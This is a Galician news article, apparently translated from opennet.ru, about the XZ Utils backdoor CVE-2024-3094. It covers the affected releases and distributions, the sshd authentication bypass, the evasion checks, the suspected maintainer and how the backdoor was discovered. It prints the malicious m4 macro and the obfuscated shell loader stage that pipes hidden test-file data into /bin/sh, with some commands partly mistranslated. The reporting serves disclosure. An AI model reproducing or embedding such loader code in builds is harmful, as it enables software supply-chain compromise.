No paquete XZ Utils, que inclúe a biblioteca liblzma e as utilidades para traballar con datos comprimidos en formato “.xz”, identificouse unha porta traseira (CVE-2024-3094) que permite a interceptación e modificación dos datos procesados polas aplicacións asociadas. coa biblioteca liblzma. O obxectivo principal da porta traseira é o servidor OpenSSH, que nalgunhas distribucións inclúese coa biblioteca libsystemd, que á súa vez usa liblzma. A vinculación de sshd cunha biblioteca vulnerable permite aos atacantes acceder ao servidor SSH sen autenticación.
A porta traseira estivo presente nas versións oficiais 5.6.0 e 5.6.1, publicadas o 24 de febreiro e o 9 de marzo, que conseguiron entrar nalgunhas distribucións e repositorios, por exemplo, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide e 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Recoméndase a todos os usuarios das versións xz 5.6.0 e 5.6.1 que volvan á versión 5.4.6 de xeito urxente.
Entre os factores que mitigan o problema, pódese sinalar que a versión de liblzma con porta traseira non logrou formar parte das versións estables de grandes distribucións, senón que afectou a openSUSE Tumbleweed e a Fedora 40-beta. Arch Linux e Gentoo usaron unha versión vulnerable de zx, pero non son susceptibles ao ataque porque non aplican o parche systemd-notify a openssh, o que fai que sshd estea ligado a liblzma. A porta traseira só afecta aos sistemas x86_64 baseados no núcleo Linux e na biblioteca Glibc C.
O código de activación da porta traseira ocultouse nas macros m4 do ficheiro build-to-host.m4 utilizado polo kit de ferramentas de automake ao construír. Durante a montaxe, durante a execución de complicadas operacións ofuscadas baseadas en arquivos (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), usados para probar a corrección do funcionamento, xerou un ficheiro obxecto con código malicioso, que se incluíu en a biblioteca liblzma e cambiou a lóxica de funcionamento algunhas das súas funcións. As macros m4 que activan a porta traseira foron incluídas nos tarballs de versión, pero non estaban no repositorio de Git. Ao mesmo tempo, no repositorio estaban presentes arquivos de proba maliciosos, é dicir. a persoa que implementou a porta traseira tiña acceso tanto ao repositorio como aos procesos de xeración de versións.
Cando se usa liblzma en aplicacións, pódense usar cambios maliciosos para interceptar ou modificar datos ou afectar o funcionamento de sshd. En particular, o código malicioso falsificou a función RSA_public_decrypt para evitar o proceso de autenticación sshd. A porta traseira incluía protección contra a detección e non se manifestaba cando se estableceron as variables de ambiente LANG e TERM (é dicir, cando se executaba o proceso no terminal) e as variables de ambiente LD_DEBUG e LD_PROFILE non estaban configuradas, e tamén se activaba só ao executar o /usr/sbin/sshd ficheiro executable . A porta traseira tamén tiña un medio para detectar a execución en ambientes de depuración.
En particular, o ficheiro m4/build-to-host.m4 utilizou gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefixo -d 2>/dev/null'
Na primeira construción, a operación grep atopou o ficheiro tests/files/bad-3-corrupt_lzma2.xz que, ao desempaquetar, xerou o script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && saída 0 [ ! $(uname) = "Linux" ] && saída 0 [ ! $(uname) = "Linux" ] && saída 0 [ ! $(uname) = "Linux" ] && saída 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` se proba -f ../../config.status;entón eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ nulo) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (cabeza -c +1024 >/dev/null) && cabeza -c +2048 && (cabeza -c +1024 >/dev/null) && cabeza -c +2048 && (cabeza -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F en bruto —lzma1 -dc|/bin/sh ####Mundo####
Como os atacantes conseguiron acceder á infraestrutura do proxecto xz aínda non se aclarou completamente. Aínda non está claro cantos usuarios e proxectos se viron comprometidos como resultado da porta traseira. O presunto autor da porta traseira (JiaT75 - Jia Tan), que publicou arquivos con código malicioso no repositorio, mantivo correspondencia cos desenvolvedores de Fedora e enviou solicitudes de extracción a Debian relacionadas coa transición das distribucións á rama xz 5.6.0, e non o fixo. espertar sospeitas, xa que participou en xz leva desenvolvendo os últimos dous anos e é o segundo desenvolvedor en canto ao número de cambios realizados. Ademais do proxecto xz, o presunto autor da porta traseira tamén participou no desenvolvemento dos paquetes xz-java e xz-embedded. Ademais, hai uns días Jia Tan incluíuse no número de mantedores do proxecto XZ Embedded usado no núcleo de Linux.
O cambio malicioso descubriuse tras analizar o consumo excesivo de CPU e os erros xerados por valgrind ao conectarse mediante ssh a sistemas baseados en Sid de Debian. Cabe destacar que a versión xz 5.6.1 incluíu cambios preparados polo presunto autor da porta traseira en resposta ás queixas sobre ralentizacións e fallos de sshd que xurdiron despois de actualizar á versión zx 5.6.0 coa porta traseira. Ademais, o ano pasado Jia Tan fixo cambios que eran incompatibles co modo de inspección "-fsanitize=address", o que provocou que se desactivase durante as probas de fuzz.
Fonte: opennet.ru